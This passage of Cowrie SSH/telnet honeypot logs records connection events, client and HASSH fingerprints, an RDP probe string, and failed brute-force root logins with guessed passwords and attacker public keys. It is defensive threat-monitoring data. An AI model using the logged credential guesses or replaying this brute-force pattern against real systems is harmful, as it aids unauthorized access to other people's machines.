16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:01.455474Z","src_ip":"147.45.199.80","session":"f621014c09f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"torres","message":"login attempt [root/torres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:01.756583Z","src_ip":"147.45.199.80","session":"f621014c09f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:02.860747Z","src_ip":"147.45.199.80","session":"f621014c09f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49610,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf0d0bcbe1b","protocol":"telnet","message":"New connection: 152.42.224.71:49610 (10.17.0.5:23) [session: 9cf0d0bcbe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:15.747864Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55658,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7482bd0c52","protocol":"ssh","message":"New connection: 167.172.81.52:55658 (159.203.135.109:22) [session: 8a7482bd0c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:34.816547Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:34.821477Z","src_ip":"167.172.81.52","session":"8a7482bd0c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:34.826110Z","src_ip":"167.172.81.52","session":"8a7482bd0c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34220,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5461804bccc","protocol":"telnet","message":"New connection: 152.42.224.71:34220 (10.17.0.5:23) [session: a5461804bccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:42.484618Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34234,"dst_ip":"10.17.0.5","dst_port":23,"session":"083252c0c4fa","protocol":"telnet","message":"New connection: 152.42.224.71:34234 (10.17.0.5:23) [session: 083252c0c4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:44.514887Z"}
{"eventid":"cowrie.session.closed","duration":120.00882530212402,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:31:52.748372Z","src_ip":"152.42.224.71","session":"c9d981ccfce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.48510980606079,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:04.969601Z","src_ip":"152.42.224.71","session":"a5461804bccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00244736671448,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:06.398020Z","src_ip":"176.65.139.118","session":"93d328825010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50054,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b682eebadf","protocol":"ssh","message":"New connection: 62.133.62.83:50054 (159.203.135.109:22) [session: 23b682eebadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:10.259926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:10.265907Z","src_ip":"62.133.62.83","session":"23b682eebadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:10.345356Z","src_ip":"62.133.62.83","session":"23b682eebadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24crow","message":"login attempt [root/24crow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:10.586576Z","src_ip":"62.133.62.83","session":"23b682eebadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:11.669735Z","src_ip":"62.133.62.83","session":"23b682eebadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.1429979801178,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:13.890756Z","src_ip":"152.42.224.71","session":"9cf0d0bcbe1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.272212266922,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:24.786975Z","src_ip":"152.42.224.71","session":"083252c0c4fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40152,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f5d18278cb8","protocol":"telnet","message":"New connection: 152.42.224.71:40152 (10.17.0.5:23) [session: 8f5d18278cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:31.916714Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.68.4.170","src_port":41870,"dst_ip":"10.17.0.5","dst_port":22,"session":"a36907f35130","protocol":"ssh","message":"New connection: 138.68.4.170:41870 (10.17.0.5:22) [session: a36907f35130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:33.744409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:33.749653Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:33.824256Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:c0:ed:d9:4e:82:e2:83:75:b3:21:36:22:09:fb:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1+UG9me/+ky2vVWAu9nogspwztod3IEpKU/+bt3BduuA68Q+hH0BjiXh2Uk/npIEwmhvtC8V6LekcXQPIxMEfQ3gCh8QWcCXx+sne/fhyiXI8bM7hH279UREDZORGbfrmDZrbFMmUzF0b5zWWX8gJg4FZtKLxOgCfBqGpJySZtrlByCxiXDVRij0aWMu5kmVHVNoMZQ1RKigg4s2zp7bPe/ODmL82wXddYaeKmaViPyUmz1iXGomTzdAFwflZsk+Pes37ztAe8h0mqm8+nfW2VqmkzDSRAA9S+YAfPtR8MSGNIf55pLzdKzehCD+Pn89yPTDqOmTMQdfhaXgnh/PR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:c0:ed:d9:4e:82:e2:83:75:b3:21:36:22:09:fb:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.173395Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:c0:ed:d9:4e:82:e2:83:75:b3:21:36:22:09:fb:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1+UG9me/+ky2vVWAu9nogspwztod3IEpKU/+bt3BduuA68Q+hH0BjiXh2Uk/npIEwmhvtC8V6LekcXQPIxMEfQ3gCh8QWcCXx+sne/fhyiXI8bM7hH279UREDZORGbfrmDZrbFMmUzF0b5zWWX8gJg4FZtKLxOgCfBqGpJySZtrlByCxiXDVRij0aWMu5kmVHVNoMZQ1RKigg4s2zp7bPe/ODmL82wXddYaeKmaViPyUmz1iXGomTzdAFwflZsk+Pes37ztAe8h0mqm8+nfW2VqmkzDSRAA9S+YAfPtR8MSGNIf55pLzdKzehCD+Pn89yPTDqOmTMQdfhaXgnh/PR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.177567Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:2b:86:cc:9e:80:a0:8c:41:52:91:93:89:53:eb:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjtR7m/ZxpsIGIHefECqtSHN8bP2EyIRNXdbulsSlBCJ/iM4ZTz+Ymxtphc7HZ6mJhQzawG585N65d+94xP3QDNCCCE+T8Pr4ONQeJX5u7z70Qckn9R4iTwtoL4Fj1lS3PMg3pENHRN4RzzUNwt7IVqYO0yk3qdYLbYsBopBGWkKXFb2ufTkq+6nigIwvNY4o4XOcD24Br4ei/eHjD/RxtguNsEaG4BVmZp7WDggPccaImAHJjkvGuxhnJ+J/fq3SKuzhajzMN3YrNXotgajetJycipMMRbNa44/YylSkboZoqXGtzPMopuAgrSGJqdPEjmZrgksjIoXeVwLoQNo+j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:2b:86:cc:9e:80:a0:8c:41:52:91:93:89:53:eb:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.253230Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:2b:86:cc:9e:80:a0:8c:41:52:91:93:89:53:eb:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjtR7m/ZxpsIGIHefECqtSHN8bP2EyIRNXdbulsSlBCJ/iM4ZTz+Ymxtphc7HZ6mJhQzawG585N65d+94xP3QDNCCCE+T8Pr4ONQeJX5u7z70Qckn9R4iTwtoL4Fj1lS3PMg3pENHRN4RzzUNwt7IVqYO0yk3qdYLbYsBopBGWkKXFb2ufTkq+6nigIwvNY4o4XOcD24Br4ei/eHjD/RxtguNsEaG4BVmZp7WDggPccaImAHJjkvGuxhnJ+J/fq3SKuzhajzMN3YrNXotgajetJycipMMRbNa44/YylSkboZoqXGtzPMopuAgrSGJqdPEjmZrgksjIoXeVwLoQNo+j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.257517Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:25:c0:9f:be:2d:2c:dd:8c:81:b5:10:f7:38:19:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChlna/j6UxuoSrcfaXaDGqolQBBy/Pd8YjANXc6is9G+FwMz0OMlngSegA9T1Ww+eWuaB5FK++R1u1hFz5haOFvau/vZv+qLgN8jEoBOrG8CRM9YvT/a5nvaGY+PrIRK9Z2XGPrgYxJilfbuM8V+oY450qqcJHZ+3k5N+cOkkzserwbvo0919OPBj5slqhlEdHsm+3RVlsPQbKSSLxLM4faXgAVUellZsQf3JpCDUTdLKVOs0qwnIuEyqneojWEZzn6dxM6v7Nm9F3kQpaDhntbTVrFKnjmDmpqLxUWEJKj3YL/Vgf/SfLonAFGI94zijRPs21EJEaBvxg5huDkivP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:25:c0:9f:be:2d:2c:dd:8c:81:b5:10:f7:38:19:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.336943Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:25:c0:9f:be:2d:2c:dd:8c:81:b5:10:f7:38:19:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChlna/j6UxuoSrcfaXaDGqolQBBy/Pd8YjANXc6is9G+FwMz0OMlngSegA9T1Ww+eWuaB5FK++R1u1hFz5haOFvau/vZv+qLgN8jEoBOrG8CRM9YvT/a5nvaGY+PrIRK9Z2XGPrgYxJilfbuM8V+oY450qqcJHZ+3k5N+cOkkzserwbvo0919OPBj5slqhlEdHsm+3RVlsPQbKSSLxLM4faXgAVUellZsQf3JpCDUTdLKVOs0qwnIuEyqneojWEZzn6dxM6v7Nm9F3kQpaDhntbTVrFKnjmDmpqLxUWEJKj3YL/Vgf/SfLonAFGI94zijRPs21EJEaBvxg5huDkivP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.341315Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:3f:8d:1e:9e:d8:45:8c:64:f6:56:12:53:b4:36:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBW5HsRddVMuAj3BPl64Rg5Lp15dgjUwhBAHB2jrnjfBRzyHjCWe5sEqr1hAjlP26A30gkWJpdB1zu7059O1sWDHHJwp72pNU+PeNwkXlE/2xxVrDh82Sc4dcro+lrXVyktb6sr+gqlZwQdyjic4ptWzSAvtiOT3e28c4VIm53DSSMSU9Ieqk0JZNX5bCGOT5ZSCHP1qLzDsaD6RkcLGyuEnqnvm4xxzX9dORnr4w2aSHspfEUVpAfYrQVjnL3bqFju1ttmmE2MPiG9D5X29CNg5vF9A4ub+xQRLMRk9AVDYr5dLds1g4CvLeT8N1nWoUoeoCWPFMD6sJYyNOqFR0X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:3f:8d:1e:9e:d8:45:8c:64:f6:56:12:53:b4:36:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.416755Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:3f:8d:1e:9e:d8:45:8c:64:f6:56:12:53:b4:36:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBW5HsRddVMuAj3BPl64Rg5Lp15dgjUwhBAHB2jrnjfBRzyHjCWe5sEqr1hAjlP26A30gkWJpdB1zu7059O1sWDHHJwp72pNU+PeNwkXlE/2xxVrDh82Sc4dcro+lrXVyktb6sr+gqlZwQdyjic4ptWzSAvtiOT3e28c4VIm53DSSMSU9Ieqk0JZNX5bCGOT5ZSCHP1qLzDsaD6RkcLGyuEnqnvm4xxzX9dORnr4w2aSHspfEUVpAfYrQVjnL3bqFju1ttmmE2MPiG9D5X29CNg5vF9A4ub+xQRLMRk9AVDYr5dLds1g4CvLeT8N1nWoUoeoCWPFMD6sJYyNOqFR0X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.420597Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:de:d0:3c:2d:5f:09:ba:bd:c4:17:45:f6:5f:ff:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPZqb2L0h8DFZTyd9/fBROT5Qzx/YfhJxLAoPun1Q0RK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1f:de:d0:3c:2d:5f:09:ba:bd:c4:17:45:f6:5f:ff:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.496508Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:de:d0:3c:2d:5f:09:ba:bd:c4:17:45:f6:5f:ff:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPZqb2L0h8DFZTyd9/fBROT5Qzx/YfhJxLAoPun1Q0RK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.500133Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:34.576710Z","src_ip":"138.68.4.170","session":"a36907f35130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":42184,"dst_ip":"10.17.0.5","dst_port":22,"session":"19d1d103c50f","protocol":"ssh","message":"New connection: 103.176.90.41:42184 (10.17.0.5:22) [session: 19d1d103c50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:42.413788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:42.419023Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:42.507840Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":59842,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd347fc7b732","protocol":"ssh","message":"New connection: 109.172.54.111:59842 (159.203.135.109:22) [session: dd347fc7b732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:42.838489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:42.842800Z","src_ip":"109.172.54.111","session":"dd347fc7b732","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:94:34:b4:3f:24:06:26:de:2e:f0:10:b3:1f:ef:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+WASboeOUHhS/iCda/0D0M6Xo3toOupjuGUlVblPHcKUxDnCFVPMfUuWtDQieurEYYA2QIPRgFSkDchMyZNGTo9yRWe1of1C0R4SU6NoHyIeJ6oDLoAW0r9W4V0/gCXabo8oZ0VOQWuxHXpHQIpuz+wy46DEzM5siWaHRhPWxRG0YGc3gPjFGCJ5ETs9a+9vAFKbd9lca/d32VzB5O4UjjznIlm+eyOm9OX+8b/rNujItcf2HxiNaxkzdZItCfz9hnTMn3EvBcF1cNesRLZy6Gmk4lsSjfMPHyyDe9Tsf6erwP0mbJ6slsyRTgMl//mFLpPyi1IcieGIUS5P/U6UX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:94:34:b4:3f:24:06:26:de:2e:f0:10:b3:1f:ef:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:42.913447Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
